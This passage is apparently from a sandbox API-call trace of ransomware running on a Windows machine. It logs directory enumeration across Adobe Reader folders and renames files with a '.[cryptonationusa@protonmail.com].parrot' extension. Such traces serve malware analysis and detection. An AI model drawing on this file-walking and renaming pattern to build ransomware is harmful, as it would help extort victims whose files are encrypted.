ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x20567fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.872] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.873] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.873] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.873] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.873] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.873] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.873] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.873] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.875] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a0, lpOverlapped=0x0) returned 1 [0248.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b3e0 | out: hHeap=0x5b0000) returned 1 [0248.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0248.881] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.881] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.883] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.883] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a6af, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3a6af, lpOverlapped=0x0) returned 1 [0248.887] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.890] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b3e0 | out: hHeap=0x5b0000) returned 1 [0248.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0248.901] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.901] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x205b42a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x205b42a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.901] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x2058e140, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.901] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fbe27e0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1fbe27e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fced180, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1fced180, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fd132e0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1fd132e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fedc360, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1fedc360, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ff748e0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1ff748e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ffc0ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1ffc0ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2000ce60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2000ce60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20032fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20032fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20059120, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20059120, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2007f280, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2007f280, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x200cb540, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x200cb540, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2013d960, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2013d960, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20189c20, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20189c20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x201d5ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x201d5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x202221a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x202221a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20248300, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20248300, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2026e460, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2026e460, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x202ba720, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x202ba720, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20352ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20352ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20378e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20378e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x203c50c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x203c50c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20411380, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20411380, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2045d640, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2045d640, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x204a9900, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x204a9900, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20567fe0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20567fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2058e140, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2058e140, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x205b42a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x205b42a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0248.902] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x205b42a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x205b42a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0248.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9768 | out: hHeap=0x5b0000) returned 1 [0248.903] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0248.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9678 | out: hHeap=0x5b0000) returned 1 [0248.903] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0248.903] lstrcmpW (lpString1="Locale", lpString2=".") returned 1 [0248.903] lstrcmpW (lpString1="Locale", lpString2="..") returned 1 [0248.903] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0248.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.905] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.905] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0248.905] lstrcmpW (lpString1="ca_ES", lpString2=".") returned 1 [0248.905] lstrcmpW (lpString1="ca_ES", lpString2="..") returned 1 [0248.905] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.907] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.907] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: 